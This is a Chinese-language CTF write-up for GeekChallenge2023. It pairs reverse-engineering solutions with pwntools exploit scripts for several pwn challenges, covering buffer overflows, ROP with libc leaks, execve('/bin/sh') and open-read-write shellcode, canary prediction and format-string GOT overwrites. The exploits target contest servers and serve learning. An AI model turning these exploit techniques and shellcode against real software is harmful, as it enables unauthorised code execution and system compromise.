nyyyddddn

GeekChallenge2023

2023/12/28

re

点击就送的逆向题

.S的文件 使用as命令来汇编一下,然后ida打开分析逻辑

1
as -o output.o input.S

置反一下逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-54h]
char s1[32]; // [rsp+10h] [rbp-50h] BYREF
char s2[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+58h] [rbp-8h]

v7 = __readfsqword(0x28u);
strcpy(s2, "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM");
_isoc99_scanf(&unk_F4, s1);
for ( i = 0; i <= 31; ++i )
s1[i] += 7;
if ( !strcmp(s1, s2) )
printf("wrong!");
puts("good!");
return 0;
}
1
2
3
4
5
flag = "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"

for i in range(len(flag)):
byte = ord(flag[i]) - 7
print(chr(byte),end="")
1
SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}

shiftjmp

有个jmp的花指令 nop掉后,对着main u p 重新打包main函数反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

puts("flag:");
for ( i = 0; i <= 33; ++i )
{
if ( rodata[i] ^ i ^ getchar() )
{
puts("no");
return 0;
}
}
puts("yes");
return 0;
}
1
2
3
4
5
flag = [0x53, 0x58, 0x41, 0x78, 0x53, 0x36, 0x6A, 0x64, 0x38, 0x64, 0x6F, 0x54, 0x78, 0x42, 0x51, 0x7B, 0x78, 0x22, 0x4D, 0x61, 0x27, 0x63, 0x73, 0x45, 0x2D, 0x7C, 0x45, 0x6C, 0x2C, 0x6F, 0x2F, 0x7B, 0x5E, 0x5C, 0x00]

for i in range(len(flag)):
byte = flag[i] ^ i
print(chr(byte),end="")

幸运数字

这里的问题,其实是求解 找0xD3范围内的i异或cmp数组 哪个开头是SYC,因为与运算有截断这个特性,所以范围是0xD3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // ebx
unsigned int v5; // eax
unsigned __int8 cmp_data[41]; // [rsp+20h] [rbp-60h] BYREF
unsigned int inputString; // [rsp+54h] [rbp-2Ch] BYREF
int lenth; // [rsp+58h] [rbp-28h]
int i; // [rsp+5Ch] [rbp-24h]

_main(argc, argv, envp);
qmemcpy(cmp_data, "\r\a", 2);
cmp_data[2] = 29;
cmp_data[3] = 37;
cmp_data[4] = 29;
cmp_data[5] = 110;
cmp_data[6] = 48;
cmp_data[7] = 57;
cmp_data[8] = 44;
cmp_data[9] = 63;
cmp_data[10] = 42;
cmp_data[11] = 43;
cmp_data[12] = 50;
cmp_data[13] = 63;
cmp_data[14] = 42;
cmp_data[15] = 55;
cmp_data[16] = 110;
cmp_data[17] = 48;
cmp_data[18] = 48;
cmp_data[19] = 48;
cmp_data[20] = 48;
cmp_data[21] = 45;
cmp_data[22] = 1;
cmp_data[23] = 7;
cmp_data[24] = 49;
cmp_data[25] = 43;
cmp_data[26] = 1;
cmp_data[27] = 57;
cmp_data[28] = 31;
cmp_data[29] = 59;
cmp_data[30] = 45;
cmp_data[31] = 45;
cmp_data[32] = 27;
cmp_data[33] = 58;
cmp_data[34] = 1;
cmp_data[35] = 12;
qmemcpy(&cmp_data[36], "o96*#", 5);
printf(&Format);
scanf("%u", &inputString);
if ( inputString <= 0x3E7 )
{
lenth = 41;
puts(&Buffer);
for ( i = 0; i < lenth; ++i )
{
v4 = cmp_data[i];
v5 = result(inputString);
printf("%c", v4 ^ (v5 % 0xD3));
}
return 0;
}
else
{
printf(&byte_40401C);
return 0;
}
}
1
2
3
4
5
6
7
cmp_data = [0x0D, 0x07, 0x1D, 0x25, 0x1D, 0x6E, 0x30, 0x39, 0x2C, 0x3F, 0x2A, 0x2B, 0x32, 0x3F, 0x2A, 0x37, 0x6E, 0x30, 0x30, 0x30, 0x30, 0x2D, 0x01, 0x07, 0x31, 0x2B, 0x01, 0x39, 0x1F, 0x3B, 0x2D, 0x2D, 0x1B, 0x3A, 0x01, 0x0C, 0x6F, 0x39, 0x36, 0x2A, 0x23, 0x15, 0x40]

for i in range(0xd3):
for j in cmp_data:
byte = j ^ i;
print(chr(byte),end="")
print("\n")

砍树

native 看下面调用str2应该是key

1
2
3
4
5
6
7
public static native int I0o0I(String str, String str2);

public native String skkkyJNI();

static {
System.loadLibrary("ezreeeee");
}

根据输入和key进行加密然后和dest cmp,大概是这样的一个逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_BOOL8 __fastcall Java_com_sky_ezreeeee_MainActivity_I0o0I(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
int i; // [rsp+Ch] [rbp-64h]
__int64 v6; // [rsp+10h] [rbp-60h]
_BOOL4 v7; // [rsp+1Ch] [rbp-54h]
unsigned __int8 *v9; // [rsp+20h] [rbp-50h]
unsigned __int8 *inputString; // [rsp+28h] [rbp-48h]
char dest[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+68h] [rbp-8h]

v12 = __readfsqword(0x28u);
inputString = (unsigned __int8 *)jstring_2unsigchar(a1, a3);
v9 = (unsigned __int8 *)jstring_2unsigchar(a1, a4);
v6 = A0OWO0A(inputString, v9);
memcpy(dest, &byte_14900, 0x23uLL);
for ( i = 0; i < 34; ++i )
v7 = *(unsigned __int8 *)(v6 + i) == (unsigned __int8)dest[i];
return v7;
}

A0OWO0A的实现

1
2
3
4
5
6
7
8
unsigned __int8 *__fastcall A0OWO0A(unsigned __int8 *inputString, const unsigned __int8 *key)
{
int i; // [rsp+4h] [rbp-14h]

for ( i = 0; i < 34; ++i )
inputString[i] ^= key[i % 7];
return inputString;
}

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
flag = [0x00, 0x20, 0x20, 0x17, 0x1B, 0x36, 0x0E, 0x36,
0x26, 0x17, 0x04, 0x2A, 0x29, 0x07, 0x26, 0x15,
0x52, 0x33, 0x2D, 0x0F, 0x3A, 0x27, 0x11, 0x06,
0x33, 0x07, 0x46, 0x17, 0x3D, 0x0A, 0x3C, 0x38,
0x2E, 0x22, 0x18]

a = "Sycloverforerver"
key = [ord(i) for i in a]


for i in range(len(flag)):
byte = flag[i] ^ key[i % 7]
print(chr(byte),end="")

听说cpp很难?

无用的代码比较多,这时候应该从后往前分析,从success的逻辑开始往前找,发现关键的加密逻辑,也是就test67那

1
2
3
4
5
6
7
8
9
10
11
12
13
for ( k = std::vector<char>::begin(v16); ; __gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator++(
&k,
0i64) )
{
v21 = std::vector<char>::end(v16);
if ( !(unsigned __int8)__gnu_cxx::operator!=<char *,std::vector<char>>(&k, &v21) )
break;
v6 = (_BYTE *)__gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator*(&k);
*v6 += v17[44];
v7 = *(char *)__gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator*(&k);
v8 = (_BYTE *)__gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator*(&k);
*v8 = text_67(v17, v7);
}
1
2
3
4
5
__int64 __fastcall text_67(__int64 a1, char a2)
{
*(_DWORD *)(a1 + 40) = 9;
return (unsigned __int8)(((*(_DWORD *)(a1 + 40) + 1) ^ a2) - *(_DWORD *)(a1 + 40) - 1);
}

也就是这个逻辑,test_67外边可以一个*v6 += v17[44];的逻辑,打开看了一下是0xa

1
(inputString[i] ^ 10) - 9 - 1

所以也就是

1
((cmpStr[i] + 10) ^ 10) - 0xa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v19 = [
77, 95, 61, -123, 55, 104, 115, 87, 39, 104,
81, 89, 127, 38, 107, 89, 115, 87, 85, 91,
89, 111, 106, 89, 39, 87, 114, 87, 79, 87,
120, 120, -125
]

for i in range(len(v19)):
v19[i] = ((v19[i] + 10) ^ 10) - 0xa

for i in v19:
if i < 0:
continue

print(chr(i),end="")

pwn

nc_pwntools

可以用ctypes来调用libc中的srand rand

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
from ctypes import *



context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./chal')
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))


is_debug = 0

if(is_debug):
p = process()
else:
ip = "pwn.node.game.sycsec.com"
port = 31955
p = remote(ip,port)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)


payload = b'a' * 92 + b'Syclover'

p.send(payload)

random_number1 = libc.rand() % 100000 + 5646488;
random_number2 = libc.rand() % 10000 + 3214590;
random_number3 = libc.rand() % 1000 + 6521;
random_number4 = libc.rand() % 10000 + 98714;

result = (random_number1 - random_number2) * random_number3 % random_number4
result = str(result).encode()
p.sendline(result)

p.interactive()

ret2text

程序开启了pie,但是backdoor和vuln的偏移非常近,不超过一个字节的偏移,原有的return上面就已经有了前面部分的地址,所以只需要覆盖低位一个字节的内容,就能return到backdoor上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:000000000000120E F3 0F 1E FA                   endbr64
.text:0000000000001212 55 push rbp
.text:0000000000001213 48 89 E5 mov rbp, rsp
.text:0000000000001216 48 83 EC 10 sub rsp, 10h
.text:000000000000121A C7 45 FC 00 00 00 00 mov [rbp+var_4], 0
.text:0000000000001221 83 7D FC 01 cmp [rbp+var_4], 1
.text:0000000000001225 75 11 jnz short loc_1238
.text:0000000000001225
.text:0000000000001227 48 8D 3D DA 0D 00 00 lea rdi, command ; "/bin/sh"
.text:000000000000122E B8 00 00 00 00 mov eax, 0
.text:0000000000001233 E8 58 FE FF FF call _system
.text:0000000000001233
.text:0000000000001238
.text:0000000000001238 loc_1238: ; CODE XREF: backdoor+17↑j
.text:0000000000001238 90 nop
.text:0000000000001239 C9 leave
.text:000000000000123A C3 retn
.text:000000000000123A ; } /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:000000000000123B                               ; __unwind {
.text:000000000000123B F3 0F 1E FA endbr64
.text:000000000000123F 55 push rbp
.text:0000000000001240 48 89 E5 mov rbp, rsp
.text:0000000000001243 48 83 EC 50 sub rsp, 50h
.text:0000000000001247 48 8D 3D C2 0D 00 00 lea rdi, s ; "The simplest but not too simple pwn"
.text:000000000000124E E8 2D FE FF FF call _puts
.text:000000000000124E
.text:0000000000001253 48 8D 45 B0 lea rax, [rbp+buf]
.text:0000000000001257 BA 60 00 00 00 mov edx, 60h ; '`' ; nbytes
.text:000000000000125C 48 89 C6 mov rsi, rax ; buf
.text:000000000000125F BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000001264 B8 00 00 00 00 mov eax, 0
.text:0000000000001269 E8 32 FE FF FF call _read
.text:0000000000001269
.text:000000000000126E 90 nop
.text:000000000000126F C9 leave
.text:0000000000001270 C3 retn
.text:0000000000001270 ; } // starts at 123B
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret2text')

is_debug = 1

if(is_debug):
p = process()
else:
ip = "1.container.jingsai.apicon.cn"
port = 30926
p = remote(ip,port)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

payload = b'a' * (0x50 + 0x8)
payload += p8(0x27)

#gdb.attach(p)
p.send(payload)


p.interactive()

password

有一个backdoor函数,name那存在一个溢出,刚刚好是八个字节,能覆盖返回地址,password这里是通过read /dev/urandom来生成的,去看了下urandome 有时候会出来\x00,想到strcmp 是根据\x00来识别字符串,再cmp的,那假设第一位是\x00,爆破password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-60h] BYREF
char buf[32]; // [rsp+40h] [rbp-20h] BYREF

init();
puts("please enter user name:");
read(0, buf, 0x30uLL);
puts("please enter password:");
fgets(s, 64, stdin);
if ( strcmp(s, password) )
{
puts("Wrong password!");
exit(0);
}
puts("Correct password!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
int init()
{
FILE *stream; // [rsp+8h] [rbp-8h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
stream = fopen("/dev/urandom", "r");
fgets(password, 64, stream);
return fclose(stream);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
import ctypes


# context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./password')

is_debug = 1


# if(is_debug):
# p = process()
# else:
# ip = "pwn.node.game.sycsec.com"
# port = 30872
# p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

payload = b'a' * (0x20 + 0x8)
payload += p64(0x00000000004012F3) # backdoor



ip = "pwn.node.game.sycsec.com"
port = 31233


while True:
p = remote(ip,port)

p.sendafter(b"name:\n",payload)
p.sendlineafter(b"password:\n",b'\x00')
s = p.recvline()
print(s)
if(b"Correct" in s):
break

p.close()
p.interactive()

ret2libc

先用write泄露got表的地址,然后计算libc的基地址,拿到system和binsh后,正常的rop

找了半天没有找到修改rdx寄存器的gadget,后面发现这里有一个非常合适的gadget

1698472420151

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret2libc')
libc = ELF('./libc.so.6')

is_debug = 1

if(is_debug):
p = process()
else:
ip = "pwn.node.game.sycsec.com"
port = 31982
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

rdi = 0x0000000000401333
rsi_r15 = 0x0000000000401331
csu1 = 0x0000000000401310
csu2 = 0x0000000000401326
main = 0x000000000040126F
ret = 0x000000000040101a
init_proc = 0x0000000000401000
rdx = 0x0000000000401288

# g(p)

#

sla(b"This challenge no backdoor!",flat([
b'\x00' * (0x10 + 0x8),
rsi_r15, elf.got.write, 0, rdx,
]))


leek_write = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"success-> {hex(leek_write)}")



libc_base = leek_write - libc.symbols['write']
success(f"libc_base-> {hex(libc_base)}")


system = libc_base + libc.symbols['system']
binsh= libc_base + next(libc.search(b"/bin/sh\x00"))

success(f"system-> {hex(system)}")
success(f"binsh-> {hex(binsh)}")

# g(p)

sla(b"This challenge no backdoor!",flat([
b'\x00' * (0x10 + 0x8),
rdi,binsh,system
]))


p.interactive()

看到的一种很有意思的做法,https://www.cnblogs.com/mumuhhh/p/17860207.html 这里,用magic gadget,配合csu实现任意地址写,写got表,然后写one gadget的地址来getshell

write1

*((_BYTE *)v2 + v1) += tmp; 这里有一个任意地址写的漏洞,可以一个字节一个字节的修改数据,程序中有一个backdoor函数,可以把返回地址修改成backdoor然后再输入一个<0的数退出循环,注意__isoc99_scanf(“%x”, &tmp); 是十六进制的,所以输入也应该是十六进制的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 do_something()
{
int v1; // [rsp+Ch] [rbp-24h] BYREF
__int64 v2[3]; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
__isoc99_scanf("%s", &s);
v2[0] = s;
v2[1] = qword_404098;
while ( 1 )
{
puts("index:");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
break;
printf("value:");
__isoc99_scanf("%x", &tmp);
*((_BYTE *)v2 + v1) += tmp;
}
return v3 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./write')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "pwn.node.game.sycsec.com"
port = 31253
p = remote(ip,port)

g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)



sl(b'aaaa')

sl(b'40')
sl(b'-0x28')

sl(b'41')
sl(b'-0x1')

sl('-1')

p.interactive()

ezpwn

ret2shellcode 0x13h - 0x8 = 11个字节,这个太难受了,一开始想着把shellcode拆成两半,后半段放在开始,前半段放在后面,然后结尾jmp,第一次尝试写shellcode,写来写去最短也要22个字节,网上找了一些16字节的发现都有些问题。后面发现syscall再read再read一遍写足够大的位置不就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment byte public 'CODE' use64
assume cs:_text
;org 801000h
assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing


; Attributes: bp-based frame

; void fun()
public fun
fun proc near

anonymous_0= byte ptr -20h

; __unwind {
push rbp
mov rbp, rsp
sub rsp, 20h
xor eax, eax
xor edi, edi ; fd
mov rsi, rsp ; buf
mov edx, 13h ; count
syscall ; LINUX - sys_read
add rsi, 8
jmp rsi
; } // starts at 801000
fun endp

_text ends

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ezpwn')
# libc = ELF('./libc.so.6')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "pwn.node.game.sycsec.com"
port = 31578
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

# syscall read
shellcode1 = '''
xor eax,eax
push 0x50
pop rdx
add rsi,11
syscall
'''
shellcode1 = b'a' * 8 + asm(shellcode1)
# g(p)
s(shellcode1)

# g(p)
#execve(/bin/sh)
shellcode2 = '''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
'''

# shellcode2 = asm(shellcraft.sh())
shellcode2 = asm(shellcode2)

s(shellcode2)

p.interactive()

write2

vmmap 发现栈上有可执行的权限,任意地址写,直接往rbp + 16写shellcode,然后把rbp + 8改成rbp + 16的地址就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./write2')
# libc = ELF('./libc.so.6')

is_debug = 1

if(is_debug):
p = process()
else:
ip = "pwn.node.game.sycsec.com"
port = 30602
p = remote(ip,port)
# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)


ru(b"index_addr:")
addr = int(p.recv(14).decode("utf-8"),16)
return_addr = addr + 0x34
success(f"return_addr -> {hex(return_addr)}")

shellcode = '''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
'''
shellcode = asm(shellcode)

sl(b'a')

for i in range(len(shellcode)):
sl(str(0x30 + i).encode())
sl(str(hex(shellcode[i])[2:]).encode())

for i in range(6):

byte = return_addr & 0xff

sl(str(0x28 + i).encode())
sl(hex(byte)[2:])

return_addr >>= 8

sl(b'-1')

p.interactive()

white_canary

vmmap发现bss有可执行的权限,第一次read buf,往一块有可读可写可执行的地址写数据,第二次gets可以溢出,但是seccomp禁用了execve系统调用,然后有个canary,但canary是通过随机数生成出来的

所以思路是先往buf中写orw的shellcode,然后溢出修改返回地址执行这个shellcode把flag读出来

open(flag,0,0)

read(fd,buf,size)

write(fd,buf,size)

用ctypes模拟canary的生成,溢出的时候带上canary就好了,gdb看了一下,是取生成的canary的第八字节,然后写到fs段偏移0x28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+8h] [rbp-18h]
char v5[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
v4 = seccomp_init(2147418112LL, argv, envp);
seccomp_rule_add(v4, 0LL, 59LL, 0LL);
seccomp_load(v4);
puts("You are lost in a forest of pwn,find the secret of this world");
puts("You find a man,he said:If you want to get out of here, you need to tell me your name!");
puts("Please enter your name:");
read(0, &buf, 0x64uLL);
puts("tell me something:");
gets(v5);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int init()
{
time_t seed; // [rsp+8h] [rbp-28h]
__int64 v2; // [rsp+10h] [rbp-20h]
__int64 v3; // [rsp+18h] [rbp-18h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
seed = time(0LL) % 60;
srand(seed);
v2 = rand();
v3 = rand();
__writefsqword(
0x28u,
(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)
+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32));
return mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from LibcSearcher import *
import ctypes

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./chal')
# libc = ELF('./libc.so.6')

## srand
libc = ctypes.CDLL(os.path.join(os.getcwd(), 'libc.so.6'))
seed = libc.time(None) % 60
libc.srand(seed)

is_debug = 1

if(is_debug):
p = process()
else:
ip = "pwn.node.game.sycsec.com"
port = 31936
p = remote(ip,port)
# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

v2 = libc.rand()
v3 = libc.rand()
canary = (((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32) + ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
canary = canary & 0xFFFFFFFFFFFFFFFF
success(f"Canary -> {hex(canary)}")

orw_shellcode = asm('''
mov edx,0x67616c66
push rdx
push rsp
pop rdi
xor esi,esi
mov eax,0x2
syscall
push 0x50
pop rdx
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
push 0x50
pop rdx
xor edi,2
mov eax,edi
syscall
''')


# g(p)
sa("Please enter your name:\n",orw_shellcode)
# g(p)
payload = b'a' * (0x10 - 0x8) + p64(canary) + b'a' * 8 + p64(0x00000000004040E0)
sla(b"tell me something:\n", payload)

p.interactive()

fmt1.0[补]

咱是笨蛋,这个printf很奇怪,没有想到格式化字符串修改printf的got表,为execve,咱以为是格式化字符串连续写,然后ret2libc,后面看其他师傅的wp后发现,可以修改这个printf的 got表位execve

1
2
3
4
5
6
7
8
9
10
11
__int64 vuln()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF

memset(s, 0, sizeof(s));
puts("Please enter your username: ");
read(0, s, 0x60uLL);
printf("Hello,");
printf(s, 0LL);
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import *

# context.terminal = ['gnome-terminal', '-e']
context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./fmt1.0')
libc = ELF('./libc.so.6')

# is_debug = 1

# if(is_debug):
# p = process()
# else:
# ip = "node4.buuoj.cn"
# port = 29349
# p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)


# def exec_fmt(pad):
# p = process("./fmt1.0")

# p.recvuntil(b"Please enter your username: \n")
# p.send(pad)
# p.recvuntil(b"Hello,")
# return p.recv()

# fmt = FmtStr(exec_fmt)
# success(f"offset ->{str(fmt.offset)}")

p = process("./fmt1.0")

# g(p)
# payload = fmtstr_payload(6,{0x7fffffffe220:0x1337babe})
# print(payload)
p.recvuntil(b"Please enter your username: \n")

main = 0x4012CA

payload = fmtstr_payload(6,{elf.got["printf"]:elf.plt["execve"]})
success(f"payload ->{payload}")

payload = payload.ljust(0x58,b'\x00') + p64(main)
s(payload)

sl(b"/bin/sh\x00")

p.interactive()

fmt2.0[补]

有两次printf格式化字符串,第一次泄露一个libc相关的地址和栈上的地址算出libc_base和返回地址,第二次把返回地址修改成one_gadget的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
printf("frist str:");
read(0, buf, 0x50uLL);
printf(buf);
putchar(10);
printf("second str:");
read(0, buf, 0x50uLL);
printf(buf);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./fmt2.0')
libc = elf.libc

is_debug = 1

if(is_debug):
p = process()
else:
ip = "node4.buuoj.cn"
port = 29349
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

